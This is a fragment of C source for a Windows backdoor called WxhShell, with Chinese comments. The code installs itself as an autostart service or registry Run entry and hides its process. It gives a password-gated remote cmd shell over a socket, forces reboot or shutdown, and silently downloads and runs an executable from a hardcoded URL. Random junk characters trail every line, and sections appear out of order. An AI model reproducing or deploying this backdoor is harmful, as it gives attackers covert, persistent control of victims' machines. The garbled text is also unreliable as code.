  case 'd': { 6n^@Ps  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); % Ai' 6  
    if(Boot(SHUTDOWN)) Y>6N2&Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XY#.?<"Q8  
    else { \PWH( E9  
    closesocket(wsh); h4#'@%   
    ExitThread(0); >x>/}`  
    } m?kyAW'|  
    break; yzT4D>1,  
    } k%BU&%?1  
  // 获取shell Y_K W9T_  
  case 's': { ,l Y4WO  
    CmdShell(wsh); $<yhEvv  
    closesocket(wsh); "9 f+F  
    ExitThread(0); 5 owK2  
    break; K)U[xS;<  
  } vA}_x7}n(  
  // 退出 |Ve,Y  
  case 'x': { zy5FO<->  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -We9 FO~  
    CloseIt(wsh); bF6J>&]!  
    break; uFha N\S  
    }  +IO>%  
  // 离开 LT"H -fTgs  
  case 'q': { #*:^\z_Jd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &gPP# D6A  
    closesocket(wsh); hGkJ$QT  
    WSACleanup(); u~aRFQ:  
    exit(1); GbclR:G  
    break; a|"Uw `pX+  
        } N#2ldY *  
  } R3;%eyu  
  } _&/ {A|n  
4M|u T 9-  
  // 提示信息 1I{8 |  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }z x ~  
} 6y~F'/ww  
  } z}B 39L  
N@L{9ak1  
  return; bi^?SH\  
} HA*L*:0  
U2A 82;Z  
// shell模块句柄 t`&x.o  
int CmdShell(SOCKET sock) BqY_N8l&E  
{ Pal=I)  
STARTUPINFO si; msM1K1er  
ZeroMemory(&si,sizeof(si)); bD{k=jum  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -^lc-$0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !7 dct#4  
PROCESS_INFORMATION ProcessInfo; ?UZt30|1  
char cmdline[]="cmd"; "GZi eI D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M{Z ;7n'  
  return 0; \7uM5 k}l  
} IF|6iKCE  
 7P7OTN  
// 自身启动模式 n+Kv^Y`qxO  
int StartFromService(void) 0n}13u=}  
{ m&Mupl  
typedef struct *L$2M?xkY  
{ R<Lf>p>_  
  DWORD ExitStatus; jb -kg</A  
  DWORD PebBaseAddress; a/,>fv9;$  
  DWORD AffinityMask; "(^XZAU#W  
  DWORD BasePriority; L meP J  
  ULONG UniqueProcessId; t82'K@sq  
  ULONG InheritedFromUniqueProcessId; ^,acU\}VqP  
}   PROCESS_BASIC_INFORMATION; |4Q*4s  
*[3xc*5F/A  
PROCNTQSIP NtQueryInformationProcess; rNii,_  
#_@cI(P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6!ve6ZB[p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TZAd{EZa  
DPTk5o[  
  HANDLE             hProcess; d]pb1ECuu  
  PROCESS_BASIC_INFORMATION pbi; \ ;npdFy  
VThr]$2Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K^shTh8k  
  if(NULL == hInst ) return 0; a>'ez0C  
4VWk/HK-!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a/sjW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wZiUzS ;v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G@[8P?M=Z  
i2~uhGJ  
  if (!NtQueryInformationProcess) return 0; &X$T "Dp  
[1VA`:?W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xH-d<Ht,7  
  if(!hProcess) return 0; ~&i4FuK  
h[ DNhR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y%s:oHt  
\k.`xG?  
  CloseHandle(hProcess); E-bswUVaEE  
bbK};u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )/H;5 cn  
if(hProcess==NULL) return 0; C82_ )@96  
I&;>(@K  
HMODULE hMod; Ts5)r(  
char procName[255]; ~s!Q0G^G  
unsigned long cbNeeded; K}~$h,n  
ti\ ${C3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KA5)]UF`l  
Zd*$^P,|  
  CloseHandle(hProcess); :Ha/^cC/3  
uJ !&T  
if(strstr(procName,"services")) return 1; // 以服务启动 -@W9+Zf5  
> ;,S||  
  return 0; // 注册表启动 #~*v##^vFH  
} d7OygDb<  
)g0lI  
// 主模块 b_0THy.Z  
int StartWxhshell(LPSTR lpCmdLine) ZZw`8 E  
{ bx0.(Nv/X  
  SOCKET wsl; WRh5v8Wz0  
BOOL val=TRUE; 6j<9Y  
  int port=0; #2{-6ey  
  struct sockaddr_in door; {f/qI`  
z;c>Q\Q  
  if(wscfg.ws_autoins) Install(); v, $r.g;  
>rSjP1-F  
port=atoi(lpCmdLine); g9_zkGc7  
{keZ_2  
if(port<=0) port=wscfg.ws_port; ]ss[n.T0*  
9mF '   
  WSADATA data; N'Gq9A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R=D]:u<P  
2w?q7N%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3<0b_b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =~#mF<z5  
  door.sin_family = AF_INET; #lYyL`B+~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pGbfdX  
  door.sin_port = htons(port); #8$?# dT  
h<9s& p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  *}?[tR5  
closesocket(wsl); ]z'&oz  
return 1;  q6 CrUn  
} BZq#OA p  
A2_ut6&eb  
  if(listen(wsl,2) == INVALID_SOCKET) { ?w3RqF@}  
closesocket(wsl); mw @Pl\=  
return 1; OgQd yU  
} 2M %j-yG"  
  Wxhshell(wsl); ^7gGtz2  
  WSACleanup(); &?<uR)tl  
-<W?it?D  
return 0; *t@A-Sn  
( }-*irSsj  
} @HT\Y%E  
?=u?u k<-  
// 以NT服务方式启动 wQ_4_W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 222 Y?3>@D  
{ C{exvLQ  
DWORD   status = 0; z7K{ ,y  
  DWORD   specificError = 0xfffffff; bJ d| mm/v  
x|H`%Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4TtC~#D:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Gh;\"Qx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wu <0or2  
  serviceStatus.dwWin32ExitCode     = 0; [xS7ae  
  serviceStatus.dwServiceSpecificExitCode = 0; lqDCK&g$E#  
  serviceStatus.dwCheckPoint       = 0; ,Qj G|P  
  serviceStatus.dwWaitHint       = 0; RS5<] dy  
3CCs_AO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n,N->t$i  
  if (hServiceStatusHandle==0) return; L/k35x8  
jqUVERbc  
status = GetLastError(); V!}I$JiJ  
  if (status!=NO_ERROR) FP@_V-  
{ 1p&.\ ^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7?.uAiM'zT  
    serviceStatus.dwCheckPoint       = 0; ^<;W+dWdU  
    serviceStatus.dwWaitHint       = 0; P1#g{f  
    serviceStatus.dwWin32ExitCode     = status; L+t / E`  
    serviceStatus.dwServiceSpecificExitCode = specificError; #S>N}<>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g2OnLEF]s  
    return; pdu1 kL  
  } ;jP sS^X  
{^]qaQ[5N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /s?%ft#-9o  
  serviceStatus.dwCheckPoint       = 0; lrrTeE*  
  serviceStatus.dwWaitHint       = 0; h ldZA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I|X`9  
} ,Ag{-&  
"x$@^  
// 处理NT服务事件,比如:启动、停止 H_xHoCLI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \f,<\mJ#  
{ Np\NStx2  
switch(fdwControl) >+O0W)g{o  
{ 757&bH|a  
case SERVICE_CONTROL_STOP: s_^`t+5  
  serviceStatus.dwWin32ExitCode = 0; KOixFn1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =?]`Xo,v~  
  serviceStatus.dwCheckPoint   = 0; lMv6QL\>'  
  serviceStatus.dwWaitHint     = 0; fTxd8an{  
  { u#6s^ )W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G^'We6<  
  } 1wgL^Qz@  
  return; Dj/Hz\  
case SERVICE_CONTROL_PAUSE: V_i&@<J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &r,vD,  
  break; h;=~%2Y  
case SERVICE_CONTROL_CONTINUE: xM())Z|2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7mtx^  
  break; d=1\=d/K  
case SERVICE_CONTROL_INTERROGATE: 73qE!(  
  break; /&6{}n  
}; =CzGI|pb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F=\ REq  
} `;mgJD  
5K Ij}VN  
// 标准应用程序主函数 gmp@ TY=:L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) % J\G[dl  
{ $YJ 1P  
w,hm_aDq  
// 获取操作系统版本 bI.hG32  
OsIsNt=GetOsVer(); u ?V}pYX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k7uX!}  
p,=IL_  
  // 从命令行安装 L IKuK#  
  if(strpbrk(lpCmdLine,"iI")) Install(); dr)*.<_+a(  
"]3o93 3 D  
  // 下载执行文件 Aa-5k3:x]=  
if(wscfg.ws_downexe) { %C%3c4+Oh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i59 }6u_f  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q``1^E'  
} N_G&nw  
"= 2\kZ  
if(!OsIsNt) { LYAGpcG  
// 如果时win9x,隐藏进程并且设置为注册表启动 2fdN@iruB  
HideProc(); X$<pt,}%  
StartWxhshell(lpCmdLine); aj|3(2;Kp  
} @l3&vt2=J  
else 9z?c0W5x  
  if(StartFromService()) FM%WMyb[  
  // 以服务方式启动 J"#6m&R_q  
  StartServiceCtrlDispatcher(DispatchTable); iK2f]h  
else '7' 73  
  // 普通方式启动 _)@G,E33f@  
  StartWxhshell(lpCmdLine); xlcCL?qQj  
WiZkIZ  
return 0; Y"ta`+ VJ  
} _9-;35D_  
$Ptl&0MN%  
?taC !{  
8-gl$h  
=========================================== =ZS Yg K  
eG+$~\%Fub  
[-`s`g-  
=Crl{Ax  
((?"2 }1r  
u;%~P 9O  
" !C4)P3k  
,aWI&ve6  
#include <stdio.h> m, +E5^  
#include <string.h> [4EIy"  
#include <windows.h> EqHToD I3  
#include <winsock2.h> nYC.zc*ox  
#include <winsvc.h> Nnn~7  
#include <urlmon.h> D,$M$f1  
TN Z -0  
#pragma comment (lib, "Ws2_32.lib")  "X=^MGV  
#pragma comment (lib, "urlmon.lib") T&1-gswr:  
a^G>|+8  
#define MAX_USER   100 // 最大客户端连接数 ']Czn._  
#define BUF_SOCK   200 // sock buffer 0(C[][a*u  
#define KEY_BUFF   255 // 输入 buffer  vWW Q/^  
/:-ig .YY  
#define REBOOT     0   // 重启 s!W{ru  
#define SHUTDOWN   1   // 关机 w3iX "w  
"1dpv \  
#define DEF_PORT   5000 // 监听端口 ]c\`EHN  
p]e.E`'S  
#define REG_LEN     16   // 注册表键长度 >!PM5%G  
#define SVC_LEN     80   // NT服务名长度 l"&iSq!3=  
dXWG`G_  
// 从dll定义API 'mv|6Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SXXO#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '[[IalQ?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yqJ>Z%)hf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gjJ:s,Fg  
!!6@r|.  
// wxhshell配置信息 /w5c:BH  
struct WSCFG { =%77~q-HL  
  int ws_port;         // 监听端口 pNHL&H\  
  char ws_passstr[REG_LEN]; // 口令 u#ocx[  
  int ws_autoins;       // 安装标记, 1=yes 0=no svC m }`  
  char ws_regname[REG_LEN]; // 注册表键名 B|>eKI  
  char ws_svcname[REG_LEN]; // 服务名 %Zeb#//Jz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G{+zKs}~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3E@ &  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9y\Ik/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *EU1`q*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )Zvn{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;F2"gTQS  
;%AY#b4m  
}; 5M%)*.Y 3[  
-t*P=V|@  
// default Wxhshell configuration $-]9/Ct  
struct WSCFG wscfg={DEF_PORT, 2 I.Q-'@  
    "xuhuanlingzhe", EBmkKiI;  
    1, "v'%M({  
    "Wxhshell", |l~#qeZ%  
    "Wxhshell", j3o?B  
            "WxhShell Service", s_!F`[  
    "Wrsky Windows CmdShell Service", f 0/q{*  
    "Please Input Your Password: ", AB.ZmR9|  
  1, 2"Ki5  
  "http://www.wrsky.com/wxhshell.exe", 2N&S__  
  "Wxhshell.exe" $ 3Sm?  
    }; SG)|4$"  
tHJahK:"k  
// 消息定义模块 aO *][;0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /p{$HkVw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *Fd(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KpKZiUQm  
char *msg_ws_ext="\n\rExit."; <a(739IF  
char *msg_ws_end="\n\rQuit."; pQCW6X  
char *msg_ws_boot="\n\rReboot..."; g|{Ru  
char *msg_ws_poff="\n\rShutdown..."; zrA =?[  
char *msg_ws_down="\n\rSave to "; !$0ozDmD  
\k%j  
char *msg_ws_err="\n\rErr!"; a;G>56iw  
char *msg_ws_ok="\n\rOK!"; xf3/J{n3  
Y-y}gc_L  
char ExeFile[MAX_PATH]; WQNFHRfO*n  
int nUser = 0; V4?]NFK  
HANDLE handles[MAX_USER]; *5" )3\/  
int OsIsNt; 4='/]z  
~#:R1~rh\e  
SERVICE_STATUS       serviceStatus; ^Zq3K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `G>BvS5h  
VBg M7d  
// 函数声明 K^[Dz\ov5  
int Install(void); 7;ddzxR4  
int Uninstall(void); "IzM:  
int DownloadFile(char *sURL, SOCKET wsh); \x~},!l  
int Boot(int flag); (p?B=  
void HideProc(void); RxGZ#!j/  
int GetOsVer(void); A~ wVY  
int Wxhshell(SOCKET wsl); 10..<v7  
void TalkWithClient(void *cs);  B"Ttr+  
int CmdShell(SOCKET sock); +{&++^(}a  
int StartFromService(void); ;<s0~B#9}  
int StartWxhshell(LPSTR lpCmdLine); $+w-r#,  
Y'x+! &H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a(K^/BT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q=/ck  
j7=x&)qbx  
// 数据结构和表定义 ka| 8 _C^z  
SERVICE_TABLE_ENTRY DispatchTable[] = 'n7Ld6%1  
{ B&z~}lL  
{wscfg.ws_svcname, NTServiceMain}, @<=<?T> 1  
{NULL, NULL} ^}<h_T?<_-  
}; +r 8/\'u-  
, n47.S  
// 自我安装 j%Z%_{6Ds*  
int Install(void) ]t.6bb4  
{ KOVR=``"/  
  char svExeFile[MAX_PATH]; FSkz[D_}  
  HKEY key; oz/Nx{bg  
  strcpy(svExeFile,ExeFile); @x/D8HK2  
dW"=/UW  
// 如果是win9x系统,修改注册表设为自启动 69EdMuf  
if(!OsIsNt) { :eW`El  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,(Nr_K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Huho|6ohH  
  RegCloseKey(key); +jGSD@32>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sB%QqFRP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pcO0xrI  
  RegCloseKey(key); T8-,t];i  
  return 0; Eh|v>Yew  
    } 6@geakq  
  } '( yjq<  
} ]Qh0+!SdG  
else { q# t&\M.U  
v0'`K 5M  
// 如果是NT以上系统,安装为系统服务 - DE?L,9X9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .u$o^; z!  
if (schSCManager!=0) #m36p+U  
{ 3.<E{E!F  
  SC_HANDLE schService = CreateService xHi.N*~D  
  ( KBy*QA  
  schSCManager, clO9l=g  
  wscfg.ws_svcname, 7':qx}c#!1  
  wscfg.ws_svcdisp, h YEUiQ  
  SERVICE_ALL_ACCESS, HMPb%'U~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {~+o+LV  
  SERVICE_AUTO_START, 9 Aq\1QC  
  SERVICE_ERROR_NORMAL, j55;E E!  
  svExeFile, F*j0o +B5  
  NULL, w4(g]9^Q  
  NULL, 'fr~1pmx#3  
  NULL, |++\"g  
  NULL, K *xca(6  
  NULL B4 +A  
  ); X>4qL'b:z  
  if (schService!=0) )HJ#|JpxC  
  { Y]])Tq;h5  
  CloseServiceHandle(schService); Xjs`iK=w  
  CloseServiceHandle(schSCManager); v2;' F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $hq'9}ASOL  
  strcat(svExeFile,wscfg.ws_svcname); ~3,k8C"pRq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n,8bQP=&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z,}c)  
  RegCloseKey(key); m)Sdo gt_  
  return 0; l[u=_uaYl  
    } <%GfF![v  
  } ~zph,bk  
  CloseServiceHandle(schSCManager); q3}WO] TBj  
} 4"~l^yK  
} 1%`Nu ]D  
"1|\V.>>;  
return 1; > xie+ ^  
} =]m,7v Rq  
s5 ($b  
// 自我卸载 iM(Q-%HP_  
int Uninstall(void) M~,N~ N1  
{ Td,s"p>Vq  
  HKEY key; fF]w[lLDv  
Y=\:fa  
if(!OsIsNt) { P]%)c6Uh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~>B`T%=H  
  RegDeleteValue(key,wscfg.ws_regname); Nn='9s9F?}  
  RegCloseKey(key); H?cJ'Q, 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,jq:%Y[KZ  
  RegDeleteValue(key,wscfg.ws_regname); nN5fP<H2x  
  RegCloseKey(key); _:7:ixN[Ie  
  return 0; i)th] 1K%  
  } o8h` 9_  
} UAe8Ct=YJ  
} Ge1b_?L_  
else { 0,5)L\{ R  
7(l>Ck3B#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nk;ywC"e;  
if (schSCManager!=0) hMnm>  
{ YDYN#Ob(;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0)rayzv  
  if (schService!=0) , {X}C  
  { )f,9 h  
  if(DeleteService(schService)!=0) { d<Dm(   
  CloseServiceHandle(schService); [,56oMd~  
  CloseServiceHandle(schSCManager); u~7fK  
  return 0; y}1Pc*  
  } -car>hQq  
  CloseServiceHandle(schService); mx5#K\  
  } :}z `4S@b  
  CloseServiceHandle(schSCManager); PUmgcMt  
} bs0[ a 1/  
} >R}G  
Jq?Fi'2F%  
return 1; HZqk)sN  
} *vzEfmN:d  
qe 'RvBz  
// 从指定url下载文件 Q^bYx (r5w  
int DownloadFile(char *sURL, SOCKET wsh) )H(i)$I  
{ RT|1M"?$  
  HRESULT hr; [}!0PN?z~A  
char seps[]= "/"; ow{J;vFy\  
char *token; ohjl*dw  
char *file; P$Q,t2$A  
char myURL[MAX_PATH]; BbiyyRa  
char myFILE[MAX_PATH]; _y&XFdp  
vi28u xc  
strcpy(myURL,sURL); Y#QXvo%  
  token=strtok(myURL,seps); Y"L|D,ex  
  while(token!=NULL) &\%\"Zh  
  { jZD)c_'U  
    file=token; (&Rql7](8  
  token=strtok(NULL,seps); ] n\]ao  
  } w'E(9gV  
C]Y%dQh+a  
GetCurrentDirectory(MAX_PATH,myFILE); yi:}UlO  
strcat(myFILE, "\\"); Fv*Et-8tN5  
strcat(myFILE, file); `~z[Hj=2  
  send(wsh,myFILE,strlen(myFILE),0); 5mS/,fs@  
send(wsh,"...",3,0); -y>~ :.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  yj=OR|v  
  if(hr==S_OK) 3b|=V  
return 0; C`R<55x6  
else \t 5_V)P  
return 1; XhA tf @n  
ltlo$`PR  
} ,,!P-kK$  
#uF`|M$u  
// 系统电源模块 \KzH5?  
int Boot(int flag) cg o  
{ $s4.Aj  
  HANDLE hToken; J.'%=q(Sb  
  TOKEN_PRIVILEGES tkp; Bgn%d4W;G  
a#k7 aOT0  
  if(OsIsNt) { l4dG=x}M]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `lQ;M?D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k~gOL#$  
    tkp.PrivilegeCount = 1; hNhEA $X5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xhq6l3M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x NjQ"'i8  
if(flag==REBOOT) { H\qZu%F'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jJ-C\ v  
  return 0; gO)":!_n W  
} M9afg$;.xe  
else { % P E x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1;H"4u_IG&  
  return 0; L~^5Ez6U  
} xQ7U$QF|]  
  } %1:caa@_p  
  else { /Q3\6DCl  
if(flag==REBOOT) { 7F6 B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NPrLM5  
  return 0; o<%0|n_O&  
} 9^ZtbmUf  
else { mLpM8~L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~D>pu%F  
  return 0; oda,  
} 2,F9P+  
} XL^05  
D[#V  
return 1; pmvd%X\f  
} (S?Y3l|  
g_`a_0v  
// win9x进程隐藏模块 * 70 ZAo4  
void HideProc(void) Z#L4n#TT  
{ ^a_a%ws  
,!b<SQ5M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *=2W:,$  
  if ( hKernel != NULL ) WA"~6U*  
  { jT =|!,Pn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [)1vKaC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8"9&x} tl-  
    FreeLibrary(hKernel); @$T$hMl  
  } 8>,w8(Nt  
8ZVQM7O  
return; (=Cb)/s0  
} >*8V]{f9  
ro\ oL  
// 获取操作系统版本 ]FZPgO'G  
int GetOsVer(void) ?nGiif  
{ x lS*9>Ij  
  OSVERSIONINFO winfo; robg1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $VvgzjrH  
  GetVersionEx(&winfo); Ly+UY.v"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]|.ked  
  return 1; 0DmA3  
  else ;_e9v,  
  return 0; O*~z@"\  
} p@su:B2Rl  
$M 8& &M  
// 客户端句柄模块 3W%6n-*u  
int Wxhshell(SOCKET wsl) B5;%R01A  
{ L^ J|cgmNw  
  SOCKET wsh; /;#kV]nF  
  struct sockaddr_in client; %S^hqC  
  DWORD myID; #f2k*8"eAF  
w W@e#:  
  while(nUser<MAX_USER) !S':G  
{ $u!(F]^  
  int nSize=sizeof(client); d#rr7O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tF`L]1r>  
  if(wsh==INVALID_SOCKET) return 1; M?eP1v:<+G  
|l; Ot=C=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]- 1(r,  
if(handles[nUser]==0) *#mmk1`  
  closesocket(wsh); \5r^D|Rp}  
else -[7+g  
  nUser++; @-!P1]V|  
  } SH{@yS[c!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S{+t>en  
X3:z=X&Zd  
  return 0; szsVk#p  
} w*VN =  
)/$J$'mcxd  
// 关闭 socket 73cb1 kfPd  
void CloseIt(SOCKET wsh) sN[}B{+  
{ 4>jHS\jc  
closesocket(wsh); M%S7cIX ]F  
nUser--; )j36Y =r3  
ExitThread(0); -qIi.]/f"9  
} F}_b7 |^  
Ek)drt7cy  
// 客户端请求句柄 q`c!!Lg  
void TalkWithClient(void *cs) VhUWws3E  
{  ##rkyd  
*4U_MM#rX  
  SOCKET wsh=(SOCKET)cs; =0g!Q   
  char pwd[SVC_LEN]; MYS`@%ZV#k  
  char cmd[KEY_BUFF]; }HoCfiE=X  
char chr[1]; M}\h?s   
int i,j; Ss>pNH@ c  
V+E8{|dYL  
  while (nUser < MAX_USER) { yJ $6vmQ  
o9eOp3w30  
if(wscfg.ws_passstr) { xS,24{-HJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lx:$EJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %10ONe}  
  //ZeroMemory(pwd,KEY_BUFF); ..)J6L5l  
      i=0; u<edO+  
  while(i<SVC_LEN) { %biie  
)^ah, ;(  
  // 设置超时 "v1{  
  fd_set FdRead; Ul}RT xJ  
  struct timeval TimeOut; Y2r}W3F=  
  FD_ZERO(&FdRead); <YaTr9%w  
  FD_SET(wsh,&FdRead); ybBmg'198  
  TimeOut.tv_sec=8; M=^d  
  TimeOut.tv_usec=0; X4V>qHV72  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <fUo@]Lv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V]zc-gYI  
2l<2srEK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \d@5*q  
  pwd=chr[0]; F)^0R%{C  
  if(chr[0]==0xd || chr[0]==0xa) { 2ioHhcYdJU  
  pwd=0; <s9{o uZ  
  break; CP7dn/  
  } *ub2dH4/  
  i++; m;@q('O  
    } m!<HZvq?vf  
{MgRi 7  
  // 如果是非法用户,关闭 socket _?~%+Oz/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /v 8"i^;}  
} PgkU~68`  
xp^RAVXq`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e5' I W__  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r:H]`Uo'r  
mwAN9<o  
while(1) { )~U1sW&t  
| b'Ut)E  
  ZeroMemory(cmd,KEY_BUFF); 6<lo0PQ"Z  
W==~ 9  
      // 自动支持客户端 telnet标准   !..<_qfw  
  j=0; MmT/J1zM  
  while(j<KEY_BUFF) { 5u!\c(TJ+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g|~px$<iY  
  cmd[j]=chr[0]; ofy"SM  
  if(chr[0]==0xa || chr[0]==0xd) { X-["{  
  cmd[j]=0; TLwxP"  
  break; c1f"z1Z  
  } ]+D@E2E  
  j++; (nqry[g&  
    } JEto_&8,C  
kdNo<x1o  
  // 下载文件 Y1PR?c Q  
  if(strstr(cmd,"http://")) { HI8mNX3 "j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \g}]u(zg%  
  if(DownloadFile(cmd,wsh)) `5Y*) q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (y9KO56.V&  
  else z CLaHx!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FV^jCseZ  
  } a'VQegP(f\  
